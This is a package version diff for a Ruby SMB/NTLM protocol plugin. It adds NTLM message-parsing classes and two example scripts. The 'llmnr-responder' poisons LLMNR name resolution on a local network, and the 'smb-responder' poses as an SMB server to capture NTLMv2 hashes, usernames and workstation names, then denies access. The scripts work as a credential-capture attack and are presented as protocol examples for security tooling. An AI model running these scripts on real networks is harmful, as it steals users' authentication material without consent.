packetgen-plugin-smb 0.5.0 → 0.6.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.travis.yml +3 -3
- data/README.md +2 -1
- data/examples/llmnr-responder +110 -0
- data/examples/smb-responder +233 -0
- data/lib/packetgen-plugin-smb.rb +1 -0
- data/lib/packetgen/plugin/gssapi.rb +1 -1
- data/lib/packetgen/plugin/ntlm.rb +211 -0
- data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
- data/lib/packetgen/plugin/ntlm/av_pair.rb +117 -0
- data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
- data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
- data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
- data/lib/packetgen/plugin/smb/filetime.rb +6 -0
- data/lib/packetgen/plugin/smb/negotiate/response.rb +1 -1
- data/lib/packetgen/plugin/smb/string.rb +28 -3
- data/lib/packetgen/plugin/smb2/negotiate/response.rb +5 -1
- data/lib/packetgen/plugin/smb2/session_setup/request.rb +5 -1
- data/lib/packetgen/plugin/smb2/session_setup/response.rb +5 -1
- data/lib/packetgen/plugin/smb_version.rb +1 -1
- data/packetgen-plugin-smb.gemspec +8 -3
- metadata +17 -9
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 961af27daff2c38b17b266a4f9fd51d643e95b030cba835b3af596d18b93577e
|
4
|
+
data.tar.gz: 6792ca39dc088cbc36a32116b7a45e6b27f2a4bc95752f80262829b46e53701c
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: b03e45a4d17799b7fada7b096d901bd18b6692fe6afd6d90a563a8f6ae5338a6b82b8f71377f9e996ff73791291eb9b115fb901e50b5f6f114197374c4d3dcd8
|
7
|
+
data.tar.gz: 129ae737bfca356d136dc83e6d370a007458469add87eeddf2236827d6ff280d2ab18627b69e69a26608680bc15cf9a4bbcfba2c4ee4ef0f94f33d4ec19f2462
|
data/.travis.yml
CHANGED
@@ -3,10 +3,10 @@ rvm:
|
|
3
3
|
- 2.3
|
4
4
|
- 2.4
|
5
5
|
- 2.5
|
6
|
+
- 2.6
|
6
7
|
|
7
8
|
install:
|
8
9
|
- sudo apt-get update -qq
|
9
10
|
- sudo apt-get install libpcap-dev -qq
|
10
|
-
-
|
11
|
-
|
12
|
-
- bundle exec rake
|
11
|
+
- gem install bundler --version "~>1.17.3"
|
12
|
+
- bundle _1.17.3_ install --path vendor/bundle --jobs=3 --retry=3
|
data/README.md
CHANGED
@@ -15,7 +15,8 @@ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It
|
|
15
15
|
* SMB2 common header (support 2.x and 3.x dialects),
|
16
16
|
* Negotiate command,
|
17
17
|
* SessionSetup command,
|
18
|
-
* GSSAPI, used to transport negotiation over SMB2 commands
|
18
|
+
* GSSAPI, used to transport negotiation over SMB2 commands,
|
19
|
+
* NTLM, SMB authentication protocol.
|
19
20
|
|
20
21
|
|
21
22
|
## Installation
|
@@ -0,0 +1,110 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a LLMNR responder. It responds to all LLMNR
|
8
|
+
# requests on local network, and says requested name is its IP address.
|
9
|
+
|
10
|
+
# frozen_string_literal: true
|
11
|
+
|
12
|
+
require 'optparse'
|
13
|
+
require 'socket'
|
14
|
+
require 'ipaddr'
|
15
|
+
|
16
|
+
require 'packetgen'
|
17
|
+
require 'packetgen-plugin-smb'
|
18
|
+
|
19
|
+
BIND_ADDR = '0.0.0.0'
|
20
|
+
|
21
|
+
class LlmnrResponder
|
22
|
+
attr_reader :socket, :my_ip, :my_ip_data
|
23
|
+
|
24
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
25
|
+
|
26
|
+
def initialize
|
27
|
+
@socket = UDPSocket.new
|
28
|
+
end
|
29
|
+
|
30
|
+
def start(bind_addr:, iface:)
|
31
|
+
@my_ip = Interfacez.ipv4_address_of(iface)
|
32
|
+
@my_ip_data = IPAddr.new(my_ip).hton
|
33
|
+
configure_multicast(my_ip_data)
|
34
|
+
|
35
|
+
socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
|
36
|
+
|
37
|
+
start_loop
|
38
|
+
end
|
39
|
+
|
40
|
+
private
|
41
|
+
|
42
|
+
def log(str)
|
43
|
+
puts "[LLMNR] #{str}"
|
44
|
+
end
|
45
|
+
|
46
|
+
def configure_multicast(local_ip_bin)
|
47
|
+
mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
|
48
|
+
socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
|
49
|
+
end
|
50
|
+
|
51
|
+
def start_loop
|
52
|
+
loop do
|
53
|
+
data, peer = socket.recvfrom(1024)
|
54
|
+
pkt = PacketGen.parse(data, first_header: 'LLMNR')
|
55
|
+
next unless pkt.is?('LLMNR')
|
56
|
+
|
57
|
+
peer_port = peer[1]
|
58
|
+
peer_ip = peer[3]
|
59
|
+
log "received LLMNR request from #{peer_ip}"
|
60
|
+
|
61
|
+
# Forge LLMNR response
|
62
|
+
response_pkt = pkt.reply
|
63
|
+
response_pkt.llmnr.qr = true
|
64
|
+
response_pkt.llmnr.qd.each do |question|
|
65
|
+
next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
|
66
|
+
|
67
|
+
log "Say to #{peer_ip} #{question.name} is #{my_ip}"
|
68
|
+
answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
|
69
|
+
response_pkt.llmnr.an << answer
|
70
|
+
end
|
71
|
+
response_pkt.calc
|
72
|
+
|
73
|
+
next unless response_pkt.llmnr.ancount > 0
|
74
|
+
|
75
|
+
socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
def parse_options
|
81
|
+
options = {}
|
82
|
+
|
83
|
+
OptionParser.new do |opts|
|
84
|
+
opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
|
85
|
+
opts.separator ''
|
86
|
+
opts.separator 'Options:'
|
87
|
+
|
88
|
+
opts.on_tail('-h', '--help', 'Show this message') do
|
89
|
+
puts opts
|
90
|
+
exit
|
91
|
+
end
|
92
|
+
|
93
|
+
opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
|
94
|
+
options[:iface] = iface
|
95
|
+
end
|
96
|
+
end.parse!
|
97
|
+
|
98
|
+
options
|
99
|
+
end
|
100
|
+
|
101
|
+
def check_options(options)
|
102
|
+
raise 'No interface given' if options[:iface].nil?
|
103
|
+
raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
|
104
|
+
end
|
105
|
+
|
106
|
+
options = parse_options
|
107
|
+
|
108
|
+
check_options options
|
109
|
+
|
110
|
+
LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
|
@@ -0,0 +1,233 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a SMB responder. It responds to all SMB
|
8
|
+
# Negotiate request to capture credentials.
|
9
|
+
# Before running it (as root), llmnr-responder should be running.
|
10
|
+
|
11
|
+
# frozen_string_literal: true
|
12
|
+
|
13
|
+
require 'socket'
|
14
|
+
require 'securerandom'
|
15
|
+
require 'ostruct'
|
16
|
+
|
17
|
+
require 'packetgen'
|
18
|
+
require 'packetgen-plugin-smb'
|
19
|
+
|
20
|
+
BIND_ADDR = '0.0.0.0'
|
21
|
+
|
22
|
+
DOMAIN_NAME = 'SMB3'
|
23
|
+
COMPUTER_NAME = 'WIN-AZE546CFHTD'
|
24
|
+
|
25
|
+
Thread.abort_on_exception = true
|
26
|
+
|
27
|
+
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
|
28
|
+
def to_s
|
29
|
+
user = self.user.encode('UTF-8')
|
30
|
+
computer = self.computer.encode('UTF-8')
|
31
|
+
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
|
32
|
+
str << "Challenge: #{challenge}\nProof: #{proof}\n"
|
33
|
+
str << "Response: #{response}"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
class Smb2Responder
|
38
|
+
attr_reader :socket, :guid, :salt
|
39
|
+
|
40
|
+
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
|
41
|
+
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
|
42
|
+
STATUS_ACCESS_DENIED = 0xc0000022
|
43
|
+
|
44
|
+
SMB2_SIZE = 8_388_608
|
45
|
+
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
|
46
|
+
SMB2_SALT_LEN = 32
|
47
|
+
|
48
|
+
def initialize
|
49
|
+
@guid = SecureRandom.uuid
|
50
|
+
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
|
51
|
+
end
|
52
|
+
|
53
|
+
def start(bind_addr:)
|
54
|
+
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
|
55
|
+
|
56
|
+
start_loop
|
57
|
+
end
|
58
|
+
|
59
|
+
private
|
60
|
+
|
61
|
+
def log(str)
|
62
|
+
puts "[SMB2] #{str}"
|
63
|
+
end
|
64
|
+
|
65
|
+
def get_smb_data(sock)
|
66
|
+
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
|
67
|
+
end
|
68
|
+
|
69
|
+
def smb2_nego_resp1
|
70
|
+
return @resp1_pkt if defined? @resp1_pkt
|
71
|
+
|
72
|
+
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
|
73
|
+
.add('SMB2', credit: 1)
|
74
|
+
.add('SMB2::Negotiate::Response',
|
75
|
+
dialect: 0x2ff,
|
76
|
+
server_guid: guid, capabilities: 7,
|
77
|
+
max_trans_size: SMB2_SIZE,
|
78
|
+
max_read_size: SMB2_SIZE,
|
79
|
+
max_write_size: SMB2_SIZE)
|
80
|
+
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
|
81
|
+
@resp1_pkt.calc
|
82
|
+
@resp1_pkt
|
83
|
+
end
|
84
|
+
|
85
|
+
def first_nego_response
|
86
|
+
pkt = smb2_nego_resp1
|
87
|
+
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
|
88
|
+
pkt
|
89
|
+
end
|
90
|
+
|
91
|
+
def second_nego_response(req_pkt)
|
92
|
+
smb2_req = req_pkt.smb2
|
93
|
+
nego_req = req_pkt.smb2_negotiate_request
|
94
|
+
|
95
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
96
|
+
.add('SMB2',
|
97
|
+
credit: 1,
|
98
|
+
message_id: smb2_req.message_id,
|
99
|
+
reserved: smb2_req.reserved)
|
100
|
+
.add('SMB2::Negotiate::Response',
|
101
|
+
dialect: nego_req.dialects.last,
|
102
|
+
server_guid: guid,
|
103
|
+
capabilities: 0x2f,
|
104
|
+
max_trans_size: SMB2_SIZE,
|
105
|
+
max_read_size: SMB2_SIZE,
|
106
|
+
max_write_size: SMB2_SIZE,
|
107
|
+
system_time: PacketGen::Plugin::SMB::Filetime.now,
|
108
|
+
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
|
109
|
+
|
110
|
+
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
|
111
|
+
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
|
112
|
+
|
113
|
+
pkt.smb2_negotiate_response.context_list << { type: 2 }
|
114
|
+
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
|
115
|
+
pkt.calc
|
116
|
+
pkt
|
117
|
+
end
|
118
|
+
|
119
|
+
def first_session_setup_response(req_pkt)
|
120
|
+
smb2_req = req_pkt.smb2
|
121
|
+
setup_req = req_pkt.smb2_sessionsetup_request
|
122
|
+
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
|
123
|
+
|
124
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
125
|
+
.add('SMB2',
|
126
|
+
credit_charge: 1,
|
127
|
+
credit: 1,
|
128
|
+
status: STATUS_MORE_PROCESSING_REQUIRED,
|
129
|
+
message_id: smb2_req.message_id,
|
130
|
+
reserved: smb2_req.reserved)
|
131
|
+
.add('SMB2::SessionSetup::Response')
|
132
|
+
|
133
|
+
ntlm = PacketGen::Plugin::NTLM::Challenge.new
|
134
|
+
ntlm.flags = ntlm_nego.flags | 0x00810000
|
135
|
+
ntlm.flags &= 0xfdffff15
|
136
|
+
ntlm.challenge = [rand(2**64)].pack('q<')
|
137
|
+
ntlm.target_name.read('SMB3')
|
138
|
+
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
|
139
|
+
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
|
140
|
+
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
|
141
|
+
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
|
142
|
+
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
|
143
|
+
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
|
144
|
+
ntlm.target_info << { type: 'EOL' }
|
145
|
+
ntlm.calc_length
|
146
|
+
|
147
|
+
gssapi = pkt.smb2_sessionsetup_response.buffer
|
148
|
+
gssapi[:token_resp][:response].value = ntlm.to_s
|
149
|
+
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
|
150
|
+
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
|
151
|
+
|
152
|
+
pkt.calc
|
153
|
+
|
154
|
+
[pkt, ntlm.challenge]
|
155
|
+
end
|
156
|
+
|
157
|
+
def deny_access(req_pkt)
|
158
|
+
smb2_req = req_pkt.smb2
|
159
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
160
|
+
.add('SMB2',
|
161
|
+
credit: 1,
|
162
|
+
credit_charge: 1,
|
163
|
+
status: STATUS_ACCESS_DENIED,
|
164
|
+
message_id: smb2_req.message_id,
|
165
|
+
reserved: smb2_req.reserved)
|
166
|
+
.add('SMB2::SessionSetup::Response')
|
167
|
+
# Remove buffer
|
168
|
+
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
|
169
|
+
pkt.calc
|
170
|
+
pkt
|
171
|
+
end
|
172
|
+
|
173
|
+
def start_loop
|
174
|
+
loop do
|
175
|
+
client = socket.accept
|
176
|
+
to_close = false
|
177
|
+
|
178
|
+
log "connection from #{client.peeraddr[2]}"
|
179
|
+
|
180
|
+
credentials = Credentials.new
|
181
|
+
credentials.ip = client.peeraddr.last
|
182
|
+
|
183
|
+
until to_close
|
184
|
+
rcv_pkt = get_smb_data(client)
|
185
|
+
|
186
|
+
pkt_to_send = case rcv_pkt.headers.last.protocol_name
|
187
|
+
when 'SMB::Negotiate::Request'
|
188
|
+
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
|
189
|
+
to_close = true
|
190
|
+
nil
|
191
|
+
end
|
192
|
+
|
193
|
+
first_nego_response
|
194
|
+
|
195
|
+
when 'SMB2::Negotiate::Request'
|
196
|
+
second_nego_response rcv_pkt
|
197
|
+
|
198
|
+
when 'SMB2::SessionSetup::Request'
|
199
|
+
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
|
200
|
+
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
|
201
|
+
pkt, challenge = first_session_setup_response(rcv_pkt)
|
202
|
+
credentials.challenge = binary2hex(challenge)
|
203
|
+
pkt
|
204
|
+
else
|
205
|
+
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
|
206
|
+
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
|
207
|
+
credentials.proof = binary2hex(response.nt_response.response)
|
208
|
+
credentials.user = response.user_name
|
209
|
+
credentials.computer = response.workstation
|
210
|
+
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
|
211
|
+
to_close = true
|
212
|
+
deny_access rcv_pkt
|
213
|
+
else
|
214
|
+
to_close = true
|
215
|
+
nil
|
216
|
+
end
|
217
|
+
end
|
218
|
+
end
|
219
|
+
|
220
|
+
client.send(pkt_to_send.to_s, 0) if pkt_to_send
|
221
|
+
client.close if to_close
|
222
|
+
|
223
|
+
puts credentials.to_s unless credentials.response.nil?
|
224
|
+
end
|
225
|
+
end
|
226
|
+
end
|
227
|
+
|
228
|
+
def binary2hex(str)
|
229
|
+
str.unpack('H*').first
|
230
|
+
end
|
231
|
+
end
|
232
|
+
|
233
|
+
Smb2Responder.new.start(bind_addr: BIND_ADDR)
|
data/lib/packetgen-plugin-smb.rb
CHANGED
@@ -101,7 +101,7 @@ module PacketGen::Plugin
|
|
101
101
|
model(:token_resp, NegTokenResp)]
|
102
102
|
|
103
103
|
# @param [Hash] args
|
104
|
-
# @
|
104
|
+
# @option args [Symbol] :token +:init+ or +:response+ to force selection of
|
105
105
|
# token CHOICE.
|
106
106
|
def initialize(args={})
|
107
107
|
token = args.delete(:token)
|
@@ -0,0 +1,211 @@
|
|
1
|
+
# This file is part of packetgen-plugin-smb.
|
2
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
|
+
# This program is published under MIT license.
|
5
|
+
|
6
|
+
# frozen_string_literal: true
|
7
|
+
|
8
|
+
module PacketGen::Plugin
|
9
|
+
# Base class for NTLM authentication protocol.
|
10
|
+
# @author Sylvain Daubert
|
11
|
+
class NTLM < PacketGen::Types::Fields
|
12
|
+
# NTLM message types
|
13
|
+
TYPES = {
|
14
|
+
'negotiate' => 1,
|
15
|
+
'challenge' => 2,
|
16
|
+
'authenticate' => 3
|
17
|
+
}.freeze
|
18
|
+
|
19
|
+
# NTLM signature
|
20
|
+
SIGNATURE = "NTLMSSP\0"
|
21
|
+
|
22
|
+
# void version
|
23
|
+
VOID_VERSION = [0].pack('q').freeze
|
24
|
+
VOID_CHALLENGE = VOID_VERSION
|
25
|
+
|
26
|
+
# @!attribute signature
|
27
|
+
# 8-byte NTLM signature
|
28
|
+
# @return [String]
|
29
|
+
define_field :signature, PacketGen::Types::String, static_length: 8, default: SIGNATURE
|
30
|
+
# @!attribute type
|
31
|
+
# 4-byte message type
|
32
|
+
# @return [Integer]
|
33
|
+
define_field :type, PacketGen::Types::Int32leEnum, enum: TYPES
|
34
|
+
# @!attribute payload
|
35
|
+
# @return [String]
|
36
|
+
define_field :payload, PacketGen::Types::String
|
37
|
+
|
38
|
+
class <<self
|
39
|
+
# @api private
|
40
|
+
# Return fields defined in payload one.
|
41
|
+
# @return [Hash]
|
42
|
+
attr_accessor :payload_fields
|
43
|
+
|
44
|
+
# Create a NTLM object from a binary string
|
45
|
+
# @param [String] str
|
46
|
+
# @return [NTLM]
|
47
|
+
def read(str)
|
48
|
+
ntlm = self.new.read(str)
|
49
|
+
type = TYPES.key(ntlm.type)
|
50
|
+
return ntlm if type.nil?
|
51
|
+
|
52
|
+
klass = NTLM.const_get(type.capitalize)
|
53
|
+
klass.new.read(str)
|
54
|
+
end
|
55
|
+
|
56
|
+
# Define a flags field.
|
57
|
+
# @return [void]
|
58
|
+
def define_negotiate_flags
|
59
|
+
define_field_before :payload, :flags, PacketGen::Types::Int32le
|
60
|
+
define_bit_fields_on :flags, :flags_w, :flags_v, :flags_u, :flags_r13, 3,
|
61
|
+
:flags_t, :flags_r4, :flags_s, :flags_r,
|
62
|
+
:flags_r5, :flags_q, :flags_p, :flags_r6,
|
63
|
+
:flags_o, :flags_n, :flags_m, :flags_r7,
|
64
|
+
:flags_l, :flags_k, :flags_j, :flags_r8,
|
65
|
+
:flags_h, :flags_r9, :flags_g, :flags_f,
|
66
|
+
:flags_e, :flags_d, :flags_r10, :flags_c,
|
67
|
+
:flags_b, :flags_a
|
68
|
+
alias_method :nego56?, :flags_w?
|
69
|
+
alias_method :key_exch?, :flags_v?
|
70
|
+
alias_method :nego128?, :flags_u?
|
71
|
+
alias_method :version?, :flags_t?
|
72
|
+
alias_method :target_info?, :flags_s?
|
73
|
+
alias_method :non_nt_session_key?, :flags_r?
|
74
|
+
alias_method :identify?, :flags_q?
|
75
|
+
alias_method :ext_session_security?, :flags_p?
|
76
|
+
alias_method :target_type_server?, :flags_o?
|
77
|
+
alias_method :target_type_domain?, :flags_n?
|
78
|
+
alias_method :always_sign?, :flags_m?
|
79
|
+
alias_method :oem_workstation_supplied?, :flags_l?
|
80
|
+
alias_method :oem_domain_supplied?, :flags_k?
|
81
|
+
alias_method :anonymous?, :flags_j?
|
82
|
+
alias_method :ntlm?, :flags_h?
|
83
|
+
alias_method :lm_key?, :flags_g?
|
84
|
+
alias_method :datagram?, :flags_f?
|
85
|
+
alias_method :seal?, :flags_e?
|
86
|
+
alias_method :sign?, :flags_d?
|
87
|
+
alias_method :request_target?, :flags_c?
|
88
|
+
alias_method :oem?, :flags_b?
|
89
|
+
alias_method :unicode?, :flags_a?
|
90
|
+
alias_method :old_flags_a=, :flags_a=
|
91
|
+
alias_method :old_flags=, :flags=
|
92
|
+
|
93
|
+
class_eval do
|
94
|
+
def flags_a=(value)
|
95
|
+
self.old_flags_a = value
|
96
|
+
self.class.payload_fields.each do |name, _|
|
97
|
+
attr = send(name)
|
98
|
+
attr.unicode = value if attr.respond_to?(:unicode=)
|
99
|
+
end
|
100
|
+
|
101
|
+
value
|
102
|
+
end
|
103
|
+
|
104
|
+
def flags=(value)
|
105
|
+
self.old_flags = value
|
106
|
+
self.flags_a = value & 1
|
107
|
+
end
|
108
|
+
end
|
109
|
+
end
|
110
|
+
|
111
|
+
# Define a field in payload. Also add +name_len+, +name_maxlen+ and
|
112
|
+
# +name_offset+ fields.
|
113
|
+
# @param [Symbol] name name of field.
|
114
|
+
# @param [Class,nil] type type of +name+ field.
|
115
|
+
# @param [Hash] options type's options needed at build time
|
116
|
+
# @return [void]
|
117
|
+
def define_in_payload(name, type=SMB::String, options={})
|
118
|
+
@payload_fields ||= {}
|
119
|
+
@payload_fields[name] = [type, options]
|
120
|
+
|
121
|
+
define_field_before :payload, :"#{name}_len", PacketGen::Types::Int16le
|
122
|
+
define_field_before :payload, :"#{name}_maxlen", PacketGen::Types::Int16le
|
123
|
+
define_field_before :payload, :"#{name}_offset", PacketGen::Types::Int32le
|
124
|
+
|
125
|
+
attr_accessor name
|
126
|
+
end
|
127
|
+
end
|
128
|
+
|
129
|
+
# @abstract This method is meaningful for {NTLM} subclasses only.
|
130
|
+
def initialize(options={})
|
131
|
+
super
|
132
|
+
return if self.class.payload_fields.nil?
|
133
|
+
|
134
|
+
self.class.payload_fields.each do |name, type_and_opt|
|
135
|
+
type, options = type_and_opt
|
136
|
+
content = if type.new.respond_to?(:unicode?)
|
137
|
+
type.new(options.merge(unicode: unicode?))
|
138
|
+
else
|
139
|
+
type.new(options)
|
140
|
+
end
|
141
|
+
send(:"#{name}=", content)
|
142
|
+
end
|
143
|
+
end
|
144
|
+
|
145
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
146
|
+
# Populate object from a binary string
|
147
|
+
# @param [String] str
|
148
|
+
# @return [self]
|
149
|
+
def read(str)
|
150
|
+
super
|
151
|
+
return self if self.class.payload_fields.nil?
|
152
|
+
|
153
|
+
self.class.payload_fields.each do |name, type_and_opt|
|
154
|
+
type, options = type_and_opt
|
155
|
+
offset_in_payload = send(:"#{name}_offset") - offset_of(:payload)
|
156
|
+
length = send(:"#{name}_len")
|
157
|
+
content = if type.new.respond_to?(:unicode?)
|
158
|
+
type.new(options.merge(unicode: unicode?))
|
159
|
+
else
|
160
|
+
type.new(options)
|
161
|
+
end
|
162
|
+
content.read(payload[offset_in_payload, length]) if length > 0
|
163
|
+
send(:"#{name}=", content)
|
164
|
+
end
|
165
|
+
|
166
|
+
self
|
167
|
+
end
|
168
|
+
|
169
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
170
|
+
# Calculate and set +len+, +maxlen+ and +offset+ fields defined for
|
171
|
+
# fields in {#payload}.
|
172
|
+
# @return [void]
|
173
|
+
def calc_length
|
174
|
+
return self if self.class.payload_fields.nil?
|
175
|
+
|
176
|
+
previous_len = 0
|
177
|
+
self.class.payload_fields.each do |name, _type_and_opt|
|
178
|
+
send(:"#{name}_len=", 0)
|
179
|
+
send(:"#{name}_offset=", offset_of(:payload) + previous_len)
|
180
|
+
|
181
|
+
field = send(name)
|
182
|
+
next unless field && !field.empty?
|
183
|
+
|
184
|
+
length = field.respond_to?(:sz) ? field.sz : field.size
|
185
|
+
send(:"#{name}_len=", length)
|
186
|
+
send(:"#{name}_maxlen=", length)
|
187
|
+
previous_len = length
|
188
|
+
end
|
189
|
+
end
|
190
|
+
|
191
|
+
# @abstract This class is meaningful for {NTLM} subclasses only.
|
192
|
+
# @return [String]
|
193
|
+
def to_s
|
194
|
+
s = super
|
195
|
+
return s if self.class.payload_fields.nil?
|
196
|
+
|
197
|
+
self.class.payload_fields.each do |name, _type_and_opt|
|
198
|
+
attr = send(name)
|
199
|
+
attr.unicode = unicode? if attr.respond_to?(:unicode=)
|
200
|
+
s << attr.to_s unless attr.nil? || send("#{name}_len").zero?
|
201
|
+
end
|
202
|
+
s
|
203
|
+
end
|
204
|
+
end
|
205
|
+
end
|
206
|
+
|
207
|
+
require_relative 'ntlm/av_pair'
|
208
|
+
require_relative 'ntlm/ntlmv2_response'
|
209
|
+
require_relative 'ntlm/negotiate'
|
210
|
+
require_relative 'ntlm/challenge'
|
211
|
+
require_relative 'ntlm/authenticate'
|